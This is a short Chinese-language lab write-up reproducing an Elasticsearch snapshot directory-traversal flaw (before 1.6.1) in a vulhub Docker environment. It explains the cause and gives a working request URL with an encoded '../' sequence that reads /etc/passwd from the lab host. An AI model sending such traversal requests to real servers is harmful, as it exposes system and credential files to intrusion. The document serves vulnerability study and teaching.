漏洞原理
利用ES的備份功能,快照應該是文件,但ES沒有對快照是否是文件進行驗證,遇到目錄就遞歸讀取文件的內容從而導致目錄遍歷。
復現環境
在ubuntu 16.04虛擬機中用vulhub靶場提供的docker容器來復現
jdk版本1.7
ElasticSearch版本1.6.0
影響版本
1.6.1以前
復現過程
創建倉庫,倉庫名稱為test:
創建倉庫test2,因為test2命名是snapshot-test,ES會認為這是test倉庫的backdata快照,
讀取文件/etc/passwd :http://192.168.101.8:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
讀取結果:
本文僅用於技術學習和交流,嚴禁用於非法用途,否則產生的一切后果自行承擔。
如需轉載,請注明出處,這是對他人勞動成果的尊重。